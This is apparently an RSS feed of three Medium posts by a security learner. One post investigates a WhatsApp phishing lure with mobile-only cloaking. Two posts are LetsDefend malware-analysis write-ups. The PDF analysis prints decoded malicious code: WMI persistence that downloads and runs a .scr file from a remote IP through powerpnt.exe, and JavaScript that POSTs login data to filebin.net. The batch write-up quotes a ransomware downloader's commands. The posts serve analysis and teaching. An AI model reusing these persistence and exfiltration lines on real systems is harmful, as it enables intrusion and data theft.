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    <channel>
        <title><![CDATA[Stories by 0xseif on Medium]]></title>
        <description><![CDATA[Stories by 0xseif on Medium]]></description>
        <link>https://medium.com/@seifal.fawal?source=rss-fd7cd06864cd------2</link>
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            <title>Stories by 0xseif on Medium</title>
            <link>https://medium.com/@seifal.fawal?source=rss-fd7cd06864cd------2</link>
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        <lastBuildDate>Mon, 16 Nov 2026 21:51:49 GMT</lastBuildDate>
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            <title><![CDATA[I Got a 3,000 EGP Gift From the President on WhatsApp. So I Packet-Captured It]]></title>
            <link>https://medium.com/@seifal.fawal/i-got-a-3-000-egp-gift-from-the-president-on-whatsapp-so-i-packet-captured-it-145373011ac0?source=rss-fd7cd06864cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/145373011ac0</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <category><![CDATA[adware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xseif]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 04:49:05 GMT</pubDate>
            <atom:updated>2026-09-02T04:55:56.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*XbZEb7QcVRuay95AphfLjQ.jpeg" /></figure><p>What started as a suspicious WhatsApp forward turned into a small investigation involving TLS handshakes, a hidden ad-fraud redirect chain, and a scam network already tracked by security researchers</p><p>It started like most scams do now — not with an email, but with a WhatsApp forward</p><blockquote>الرئيس عبد الفتاح السيسي: هدية نقدية بقيمة 3,000 جنيه مصري لجميع المصريين</blockquote><blockquote>(President Abdel Fattah El-Sisi: A cash gift of 3,000 EGP for all Egyptians)</blockquote><p>The message claimed that, to celebrate Mawlid al-Nabi, every Egyptian citizen was eligible for a 3,000 EGP cash gift. All I had to do was click a link. And to close the loop, it ended with a line clearly designed to be forwarded along with a fresh success story</p><h3>link</h3><blockquote><strong>https://hiobr.buzz/IJgqFDH/eg-ar?0831327613168013918&amp;s=wa&amp;t=1788167597&amp;</strong></blockquote><h3>Red Flag #1: The Domain<br>Egyptian government communications come from:</h3><blockquote>.gov.eg</blockquote><h4>domains. This came from</h4><blockquote><strong>hiobr.buzz</strong> — a .buzz TLD</blockquote><h4>cheap to register and barely moderated, which makes it a favorite for throwaway phishing infrastructure.</h4><h3>Red Flag #2: It Only Loaded on Mobile</h3><h4>I opened the link on my PC first. Nothing — a blank page. On mobile, it loaded fine.</h4><h4>That’s not an accident. Phishing kits routinely cloak their payload: they fingerprint the visitor and only serve the malicious content to real targets on mobile, while bots, researchers, and desktop browsers get a blank page or generic ads instead. It’s a simple, effective way to stay invisible to automated scanners that mostly crawl from servers and desktops.</h4><p>but I found out how to bypass it by changing</p><ul><li><strong>User-Agent:</strong> Use a mobile User-Agent string (e.g., Android or iOS)</li><li>tha<strong>Sec-Ch-Ua-Platform:</strong> Set the platform to &quot;Android&quot; or &quot;iOS&quot;.</li><li><strong>Sec-Ch-Ua-Mobile:</strong> Signal a mobile browser.</li></ul><p>request before update</p><pre>ET /IJgqFDH/eg-ar?0831327613168013918&amp;s=wa&amp;t=1788167597&amp; HTTP/1.1<br><br>Host: hiobr.buzz<br><br>Sec-Ch-Ua: &quot;Not-A.Brand&quot;;v=&quot;24&quot;, &quot;Chromium&quot;;v=&quot;146&quot;<br><br>Sec-Ch-Ua-Mobile: ?0<br><br>Sec-Ch-Ua-Platform: &quot;Linux&quot;<br><br>Accept-Language: en-US,en;q=0.9<br><br>Upgrade-Insecure-Requests: 1<br><br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36<br><br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br><br>Sec-Fetch-Site: none<br><br>Sec-Fetch-Mode: navigate<br><br>Sec-Fetch-User: ?1<br><br>Sec-Fetch-Dest: document<br><br>Accept-Encoding: gzip, deflate, br<br><br>Priority: u=0, i<br><br>Connection: keep-alive</pre><p>request after</p><pre>GET /IJgqFDH/eg-ar?0831327613168013918&amp;s=wa&amp;t=1788167597&amp; HTTP/1.1<br>Host: hiobr.buzz<br>Sec-Ch-Ua: &quot;Not-A.Brand&quot;;v=&quot;24&quot;, &quot;Chromium&quot;;v=&quot;146&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Sec-Ch-Ua-Platform: &quot;Linux&quot;<br>Accept-Language: en-US,en;q=0.9<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate, br<br>Priority: u=0, i<br>Connection: keep-alive</pre><p>and here we are</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PO20WGf4TKJU64OndboAJQ.png" /></figure><p>after some digging i found js code that was redircting me (after decoding)</p><pre>// Helper function: Generates a random alphanumeric string of length &#39;l&#39;<br>const getRandomString = (l) =&gt; { return Math.random().toString(36).substring(2, 2 + l); }<br><br>// Helper function: Generates a random integer between &#39;a&#39; and &#39;b&#39;<br>const getRandomInt = (a, b) =&gt; { return Math.floor(Math.random() * (b - a + 1)) + a; }<br><br>// Checks the operating system via navigator.platform<br>var platformChecks = { win: false, mac: false, xll: false };<br>var currentPlatform = navigator.platform;<br><br>platformChecks.win = currentPlatform.indexOf(&#39;Win&#39;) == 0;<br>platformChecks.mac = currentPlatform.indexOf(&#39;Mac&#39;) == 0;<br>platformChecks.xll = currentPlatform.indexOf(&#39;X11&#39;) == 0;<br><br>// DECISION LOGIC: Desktop platform OR landscape screen ratio (width &gt; height)<br>if (platformChecks.win || platformChecks.mac || platformChecks.xll || window.screen.availWidth &gt; window.screen.availHeight) {<br>    <br>    // DECOY ROUTE: If desktop/laptop, generate a fake 404 URL with randomized characters and click it<br>    var decoyLink = document.createElement(&#39;a&#39;);<br>    decoyLink.setAttribute(&#39;rel&#39;, &#39;noreferrer&#39;);<br>    decoyLink.setAttribute(&#39;href&#39;, `/404bbb${getRandomString(getRandomInt(1, 10))}`);<br>    decoyLink.click();<br><br>} else {<br><br>    // TARGET ROUTE: If mobile device (portrait orientation), proceed to payload path<br>    top.location.href = `/IJgqFDH/snzdflvhz9OjZr2K7IqXvBfWDsSEpg-amfhzzXvyT0xhPIcQMRVB3hcdI1CWVc-kalhGPvoPy8fGpAIbxmICfj/${Date.now()}` + location.search;<br><br>}<br></pre><h3>What I Did Next</h3><h4>I decided to document the whole thing properly — partly curiosity, partly because I wanted to actually understand how these campaigns work end to end.</h4><h4>Step 1 — Opened the link on mobile with a fake phone number</h4><blockquote>The form loaded. I entered a number that wasn’t mine and submitted it. Visibly, nothing happened afterward — no redirect, no confirmation. I assumed that was the end of it.</blockquote><h4>Step 2 — Captured the network traffic</h4><blockquote>This is where it got interesting. I ran a packet capture on my phone during the session. Even though the connection itself was encrypted (TLS 1.3 / QUIC), the handshake still reveals the hostname you’re connecting to via a field called SNI (Server Name Indication) — think of it as the address on an encrypted envelope; you can’t read the letter inside, but you can see who it’s addressed to. That confirmed my device really was talking to hiobr.buzz , over a Cloudflare-fronted IP, using modern HTTP/3 — real, maintained infrastructure, not some abandoned page.</blockquote><h4>Step 3 — Captured the full device traffic, not just the browser session</h4><h4>This is the part that changed the whole picture. A full-device capture showed that within about 1.3 seconds of loading</h4><blockquote>hiobr.buzz, my phone silently connected to six more randomly-named domains — puoxe.buzz, yfxso.buzz, bzxrc.buzz, bhwmj.buzz, muzks.buzz, paedg.top — all in the background,</blockquote><p>with no visible change on screen. Over the next few minutes, the session touched more than twenty such domains in total, including infrastructure associated with known ad-fraud tooling (a malvertising CDN, a “lander” page-builder used in scam campaigns, an ad-tracking redirect platform) and even a gambling affiliate redirect.</p><p>In other words: “nothing happened” was only true on the screen. Underneath, a redirect chain was actively running — the technical term is a Traffic Distribution System (TDS), infrastructure that routes scam traffic toward whichever monetized destination pays best at that moment: ads, gambling offers, fake app installs, or another scam entirely. The “gift” page wasn’t the whole scam. It was the entry point into a pipeline.</p><h3>The Bigger Picture</h3><blockquote>The Bigger PictureDigging further, I found this exact pattern already documented by security researchers: a `.buzz` domain, a numeric tracking token in the URL, `s=wa` marking WhatsApp as the distribution source, and mobile-only cloaking — all fingerprints of a phishing-as-a-service operation running across hundreds of disposable domains, impersonating dozens of unrelated brands with the same underlying kit. The “President’s gift” angle looks like a newer government-impersonation variant of that same infrastructure.</blockquote><h4>This isn’t one scammer with one link. It’s a rented, reusable toolkit, reskinned repeatedly with whatever lure is trending — holidays, brands, and now, political figures — plugged into a redirect network that monetizes the traffic either way.</h4><h3>What i learned?</h3><h4>1. Cloaking is real and common.A link that behaves differently on desktop vs. mobile is a deliberate evasion technique, not a bug.</h4><h4>2. “Nothing happened” doesn’t mean nothing happened.A visible dead end can still trigger an invisible redirect chain running in the background.</h4><h4>3. Encrypted traffic hides content, not connections. Even without decrypting anything, a packet capture can prove that a connection happened, when and to what infrastructure — which is often enough to build a real picture.</h4><h4>4. These campaigns are rarely just about credential theft. Many are plugged into ad-fraud and affiliate-redirect ecosystems, earning money per redirect or install regardless of whether you ever fill out the form.</h4><h4>5. They’re disposable by design. Reporting one domain won’t stop the operation — but it does feed into the pattern-tracking that eventually gets whole networks flagged.</h4><h4>6. The boring advice still wins. Don’t click links promising free money, especially ones tied to holidays or public figures — no matter who “already got theirs.”</h4><h4>If a message like these lands in your chat, my advice is simple: don’t click it, don’t forward it. And if you’re curious enough to investigate like I was, do it from a safe distance — packet capture and analysis, not real information.</h4><h4>Have you seen a similar message circulating? I’d be curious to compare notes — drop the domain or URL pattern in the comments if you have one</h4><h3>full report with evidence on GitHub:</h3><p><a href="https://github.com/seiffawal/phishing-scamming-investigation">seiffawal/phishing-scamming-investigation</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=145373011ac0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Batch Downloader -letsdefend]]></title>
            <link>https://medium.com/@seifal.fawal/batch-downloader-letsdefend-3b58e650fd15?source=rss-fd7cd06864cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b58e650fd15</guid>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[code-analysis]]></category>
            <category><![CDATA[batch-downloader]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[0xseif]]></dc:creator>
            <pubDate>Wed, 17 Jul 2024 16:36:51 GMT</pubDate>
            <atom:updated>2024-07-17T16:36:51.555Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EW5cq2YEVYinyk11m81-oA.png" /><figcaption>we should analysis this script</figcaption></figure><h4>This script is used to download ransomware and execute it. It is combined with Windows shell and VBScript. After researching the malware name, it is usually delivered through phishing attacks.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tEtyCTLpjraVsiV9" /></figure><p><strong>1.What command is used to prevent the command echoing in the console?</strong></p><ul><li>@echo off</li></ul><p><strong>2. Which tool is used to download a file from a specified URL in the script?</strong></p><ul><li>bitsadmin</li><li><strong>Info:</strong> Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress.<a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">bitsadmin | Microsoft Learn</a></li></ul><p><strong>3.What is the priority set for the download operation in the script?</strong></p><ul><li>foreground</li><li><strong>Info:</strong> Foreground priority in Microsoft refers to the highest priority level for CPU usage.</li></ul><p><strong>4.Which command is used to start localization of environment changes in the script?</strong></p><ul><li>setlocal</li><li><strong>Info:</strong> The setlocal command ensures that any changes to the environment variables are local to the batch script. cd /d %~dp0 changes the current directory to the directory where the batch script is located</li></ul><p><strong>5.Which IP address is used by the malicious code?</strong></p><ul><li>193.169.255.78</li><li><strong>Info:</strong> <a href="https://www.virustotal.com/gui/ip-address/193.169.255.78">VirusTotal — IP address — 193.169.255.78</a>, <a href="https://www.abuseipdb.com/check/193.169.255.78">193.169.255.78 | Fufo Studio | AbuseIPDB</a></li></ul><p><strong>6.What is the name of the subroutine called to extract the contents of the zip file?</strong></p><ul><li>UnZipFile</li></ul><p><strong>7.Which command attempts to start an executable file extracted from the zip file?</strong></p><ul><li>start &quot;&quot; &quot;FW-APGKSDTPX4HOAUJJMBVDNXPOHZ.PDF.exe&quot;</li><li><strong>Info:</strong> <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start">start | Microsoft Learn</a></li></ul><p><strong>8.Which scripting language is used to extract the contents of the zip file?</strong></p><ul><li>VBScript</li></ul><p>References</p><p><a href="https://blog.talosintelligence.com/new-mortalkombat-ransomware-and-laplas-clipper-malware-threats/">New MortalKombat ransomware and Laplas Clipper malware threats deployed in financially motivated campaign (talosintelligence.com)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b58e650fd15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Let’s Defend PDF Analysis Challange]]></title>
            <link>https://medium.com/@seifal.fawal/lets-defend-pdf-analysis-challange-99f9578f5a25?source=rss-fd7cd06864cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/99f9578f5a25</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[pdf-analysis]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[0xseif]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 01:13:40 GMT</pubDate>
            <atom:updated>2024-06-07T01:13:40.936Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine Setup:</p><ul><li><strong>PdfStreamDumper</strong></li><li><strong>Crypto Tool</strong></li><li><strong>Hash Tool you need to decompress .zip file</strong></li></ul><p>You need to decompress the .zip file at:</p><blockquote>C:\Users\LetsDefend\Desktop\Files\PDF_Analysis.7z<br>Password: infected</blockquote><p>This will give you the file update.pdf</p><p><strong>Step 1: Check File Hash</strong> Use the Hash Tool to select the file and obtain its MD5 hash:</p><blockquote>hash: c1ded96d871970fe7884cb9349ef0aa1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FNFdUeBh6CZ_HiCTWMt9OA.png" /></figure><p>Search this hash on VirusTotal to review the results. Unfortunately, I didn’t find anything interesting.</p><p><strong>PDF Analysis Using PdfstreamDumper</strong> Our main focus will be on the following objects:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*bzFS7FV6oQarnyY6YWhJdA.png" /></figure><ul><li>26 → Encoded</li><li>33 → Obfuscated</li><li>19 → Encoded</li></ul><p>before answering question we need to decode every object so we can work with it</p><p>let’s start with 19</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmKDKG9_hmKdQxEAMJxk7A.png" /></figure><p>from screenshot</p><p>it’s base64 encoding so open ubuntu terminal in machine</p><pre>echo &quot;cDF6c2MwRCV3cW53bm5qZWt3aW56JXN0bmVtdWNvRCU6QyBodGFQbm9pdGFuaXRzZUQtIGV0YWRwVS0gKiVzdG5lbXVjb0QlOkMgaHRhUC0gZXZpaGNyQS1zc2VycG1vQw==&quot; | base64 -d | rev<br>output --&gt; Compress-Archive -Path C:%Documents%* -Update -DestinationPath C:%Documents%zniwkejnnwnqw%D0csz1pletsdefend@EC2AMAZ-ILGV</pre><p>now with 26</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*MgMuMF653VfMsFEY_-vlPA.png" /></figure><pre>(C:\Windows\system32\cmd.exe /C &#39;Powershell&#39;)<br>                           /P ($best64code = (&quot;{5}{0}{2}{30}{12}{1}{14}{15}{6}{21}{31}{20}{10}{28}{7}{24}{11}{13}{22}{25}{17}{3}{19}{8}{4}{23}{26}{9}{16}{18}{27}{29}&quot;-f &#39;mTuIXZ0xWaGRnblZXRf9lI9&#39;,&#39;atdnCNoQDiI3Yz&#39;,&#39;IXZ0xWaGBSRUFURSNEIn5Wak5WaCJXZtV3cu92QvRlclRHbpZ0XfBCSUFEUgIibvlGdwlmcjNnY1NHX092byx&#39;,&#39;EIlNmbhR3culEdldmchRFIFJVRIdFIwAD&#39;,&#39;F&#39;,&#39;=IiIcpGb2dkYaN3VIJlIc1TZtFmTuIXZtV3cu92Q05WZ2VUZulGTk5WYt12bDJSPyVWb1NnbvNEIsIiIcN2ZJV1alFlZHVmIc1TZtF&#39;,&#39;h2YhNUZslmRlNWamZ2TcBjL2EDXlNWamZ2TcRnZvN3byNWaNxFbhN2bMxVY0FGRwBXQcVSRMlkRPJFUSV0UVVCXzJXZzVFX6MkI9UGdhx&#39;,&#39;vJHXlNWamZ2TgQnZvN3byNWa&#39;,&#39;Zv1UZj5WY0NnbJ91Xg00TSZEIqACVDVET&#39;,&#39;dn5WYMl&#39;,&#39;Wb&#39;,&#39;LioGb2dkYaN3VIJlI9UWbh5EIFRVQFJ1QgIXZtV3cu92Q05WZ2&#39;,&#39;gMW&#39;,&#39;VUZulGTk5WYt12bDBCSUFEUgIibvlGdwlmcjNnY1NHX092byxFXioTRDFEUTVUTB50&#39;,&#39;5iM4Qjc&#39;,&#39;lBXYwxGbhdHXl&#39;,&#39;nclVXUsIiM21WajxFdv9mci0TZjFGcTVWbh5EduVmdFBCLiM2ZJV1alFlZHV&#39;,&#39;UfJzMul2VnASQTl&#39;,&#39;mI9UWbh5EIFRVQF&#39;,&#39;M5AiTJhEVJdFI05WZ2VkbvlGdhNWamlG&#39;,&#39;Rmbh1&#39;,&#39;GctVGVl5W&#39;,&#39;LgMWatdnCNoQDicSblR3c5N1XT9kZyVGUfFGdhREZlRHdh1&#39;,&#39;NlI9knclVXUgwiIMF1Vi0T&#39;,&#39;Nx1clxWaGBSbhJ3ZvJHUcpzQi0Da0FGUlxmYhRXdjVGeFBC&#39;,&#39;mcvZkZyVG&#39;,&#39;ZnFW&#39;,&#39;J1QgIXZ0xWaGRnblZXRf9F&#39;,&#39;vNELiAyJyN2cuIDO0IXZwFGcsxWY39CN14CN4EjL3gTMuAjNv8iOwRHdodCIlhXZuQnbwJXZ39GUcZTMlNWamZ2TcR3b&#39;,&#39;IIRVQQBiIu9Wa0BXayN2ciV3ccR3bvJHXcJiOFNUQQNVRNFkTvAyYp12d&#39;,&#39;FXioTRDFEUTVUTB50L&#39;,&#39;aM&#39;)<br>   $base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2&gt;&amp;1&gt; $null<br>   $LoadCode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&quot;$base64&quot;))<br>   Invoke-Expression $LoadCode&quot;&quot;)</pre><p>this object is the same as 19 but here we will reverse PowerShell script and rewrite it with python so we can get the output</p><pre>import base64<br><br>best64code = (<br>    &quot;{5}{0}{2}{30}{12}{1}{14}{15}{6}{21}{31}{20}{10}{28}{7}{24}{11}{13}{22}{25}{17}{3}{19}{8}{4}{23}{26}{9}{16}{18}{27}{29}&quot;.format(<br>        &#39;mTuIXZ0xWaGRnblZXRf9lI9&#39;,<br>        &#39;atdnCNoQDiI3Yz&#39;,<br>        &#39;IXZ0xWaGBSRUFURSNEIn5Wak5WaCJXZtV3cu92QvRlclRHbpZ0XfBCSUFEUgIibvlGdwlmcjNnY1NHX092byx&#39;,<br>        &#39;EIlNmbhR3culEdldmchRFIFJVRIdFIwAD&#39;,<br>        &#39;F&#39;,<br>        &#39;=IiIcpGb2dkYaN3VIJlIc1TZtFmTuIXZtV3cu92Q05WZ2VUZulGTk5WYt12bDJSPyVWb1NnbvNEIsIiIcN2ZJV1alFlZHVmIc1TZtF&#39;,<br>        &#39;h2YhNUZslmRlNWamZ2TcBjL2EDXlNWamZ2TcRnZvN3byNWaNxFbhN2bMxVY0FGRwBXQcVSRMlkRPJFUSV0UVVCXzJXZzVFX6MkI9UGdhx&#39;,<br>        &#39;vJHXlNWamZ2TgQnZvN3byNWa&#39;,<br>        &#39;Zv1UZj5WY0NnbJ91Xg00TSZEIqACVDVET&#39;,<br>        &#39;dn5WYMl&#39;,<br>        &#39;Wb&#39;,<br>        &#39;LioGb2dkYaN3VIJlI9UWbh5EIFRVQFJ1QgIXZtV3cu92Q05WZ2&#39;,<br>        &#39;gMW&#39;,<br>        &#39;VUZulGTk5WYt12bDBCSUFEUgIibvlGdwlmcjNnY1NHX092byxFXioTRDFEUTVUTB50&#39;,<br>        &#39;5iM4Qjc&#39;,<br>        &#39;lBXYwxGbhdHXl&#39;,<br>        &#39;nclVXUsIiM21WajxFdv9mci0TZjFGcTVWbh5EduVmdFBCLiM2ZJV1alFlZHV&#39;,<br>        &#39;UfJzMul2VnASQTl&#39;,<br>        &#39;mI9UWbh5EIFRVQF&#39;,<br>        &#39;M5AiTJhEVJdFI05WZ2VkbvlGdhNWamlG&#39;,<br>        &#39;Rmbh1&#39;,<br>        &#39;GctVGVl5W&#39;,<br>        &#39;LgMWatdnCNoQDicSblR3c5N1XT9kZyVGUfFGdhREZlRHdh1&#39;,<br>        &#39;NlI9knclVXUgwiIMF1Vi0T&#39;,<br>        &#39;Nx1clxWaGBSbhJ3ZvJHUcpzQi0Da0FGUlxmYhRXdjVGeFBC&#39;,<br>        &#39;mcvZkZyVG&#39;,<br>        &#39;ZnFW&#39;,<br>        &#39;J1QgIXZ0xWaGRnblZXRf9F&#39;,<br>        &#39;vNELiAyJyN2cuIDO0IXZwFGcsxWY39CN14CN4EjL3gTMuAjNv8iOwRHdodCIlhXZuQnbwJXZ39GUcZTMlNWamZ2TcR3b&#39;,<br>        &#39;IIRVQQBiIu9Wa0BXayN2ciV3ccR3bvJHXcJiOFNUQQNVRNFkTvAyYp12d&#39;,<br>        &#39;FXioTRDFEUTVUTB50L&#39;,<br>        &#39;aM&#39;<br>    )<br>)<br><br><br>reversed_base64 = best64code[::-1]<br><br><br>decoded_bytes = base64.b64decode(reversed_base64)<br>decoded_string = decoded_bytes.decode(&#39;utf-8&#39;)<br><br>print(decoded_string)</pre><p>output</p><pre>wmic /NAMESPACE:&quot;\\root\subscription&quot; PATH __EventFilter CREATE Name=&quot;eGfQekUIgc&quot;, EventNameSpace=&quot;root\cimv2&quot;,QueryLanguage=&quot;WQL&quot;, Query=&quot;SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA &#39;Win32_PerfFormattedData_PerfOS_System&#39;&quot;<br><br>wmic /NAMESPACE:&quot;\\root\subscription&quot; PATH CommandLineEventConsumer CREATE Name=&quot;RHWsZbGvlj&quot;, ExecutablePath=&quot;C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe &#39;http://60.187.184.54/wallpaper482.scr&#39; &quot;,CommandLineTemplate=&quot;C:\Users\%USERPROFILE%\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\wallpaper482.scr&quot;</pre><p>now with object 33</p><p>this object is using eval obfastication so we can run js code in pdfstreamdumps</p><p>go to object 33 &gt;&gt; javascriptUI &gt;&gt; press run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuBLxUBzCyBJTbnVP6xzfA.png" /></figure><p>output</p><pre>var url= &quot;https://filebin.net/0flqlz0hiz6o4l32/D0csz1p&quot;;<br>var xhr = new XMLHttpRequest();<br>xhr.open(&quot;POST&quot;, url);<br>xhr.setRequestHeader(&quot;Content-Type: application/octet-stream&quot;, &quot;application/json&quot;);<br>xhr.onreadystatechange = function() {<br>    if (xhr.readyState === 4) {<br>        console.log(xhr.status);<br>        console.log(xhr.responseText)<br>    }<br>};<br>var data = &#39;{&quot;login&quot;:&quot;&quot;,&quot;password&quot;:&quot;&quot;}&#39;;<br>xhr.send(data);</pre><p>now we can answer questions</p><blockquote>Q1 What local directory name would have been targeted by the malware?(object 19)</blockquote><blockquote>c:\documents\</blockquote><blockquote>Q2 What would have been the name of the file created by the payload?(object 33)</blockquote><blockquote>get it from url variable d0csz1p</blockquote><blockquote>Q3 What file type would this have been if it were created?(object 33)</blockquote><blockquote>d0csz1p → so i assumed that file will be .zip</blockquote><blockquote>Q4 Which external web domain would the malware have attempted to interact with?(object 33)</blockquote><blockquote>from url variable → filebin.net</blockquote><blockquote>Q5 Which HTTP method would it have used to interact with this service?(object 33)</blockquote><blockquote>(“POST”,url) → POST</blockquote><blockquote>Q6 What is the name of the obfuscation used for the JavaScript payload?(object 33)</blockquote><blockquote>MalDev use eval function for obfuscation</blockquote><blockquote>Q7 Which tool would have been used for creating the persistence mechanism?(object 26)</blockquote><blockquote>wmic explaintion (<a href="https://www.bing.com/ck/a?!&amp;&amp;p=dbd7c8d2c7b010bdJmltdHM9MTcxNzYzMjAwMCZpZ3VpZD0yZDA5NGQxYy1hMDU3LTZlYmItMDU1Zi01OTFjYTEzYzZmMDUmaW5zaWQ9NTg4NA&amp;ptn=3&amp;ver=2&amp;hsh=3&amp;fclid=2d094d1c-a057-6ebb-055f-591ca13c6f05&amp;psq=what+wmic+used+for&amp;u=a1aHR0cHM6Ly9sZWFybi5taWNyb3NvZnQuY29tL2VuLXVzL3dpbmRvd3Mvd2luMzIvd21pc2RrL3dtaWM&amp;ntb=1"><strong>WMIC (Windows Management Instrumentation Command-Line)</strong> is a utility that provides a command-line interface for Windows Management Instrumentation (WMI)</a>)</blockquote><blockquote>Q8 How often would the persistence be executed once Windows starts? (format: X.X hours)? (object 26)</blockquote><blockquote>WITHIN 9000 → 9000/3600 = 2.5</blockquote><blockquote>Q9 Which LOLBin would have been used in the persistence method?(object 26)</blockquote><blockquote>ExecutablePath=”C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe → powerpnt.exe (read mor about lolbin <a href="https://lolbas-project.github.io/">LOLBAS (lolbas-project.github.io)</a>)</blockquote><blockquote>Q10 What is the filename that would have been downloaded and executed using the LOLbin? (object 26)</blockquote><blockquote>wallpaper482.scr</blockquote><blockquote>Q11 Where would this have been downloaded from? (format: IP address)</blockquote><blockquote>60.187.184.54</blockquote><blockquote>Q12 Which country is this IP Address located in?</blockquote><blockquote>china (use this webiste <a href="https://www.abuseipdb.com/check/60.187.184.54">60.187.184.54 | ChinaNet Zhejiang Province Network | AbuseIPDB</a>)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7I_uBuu55_2VFUzfgAZwbg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99f9578f5a25" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>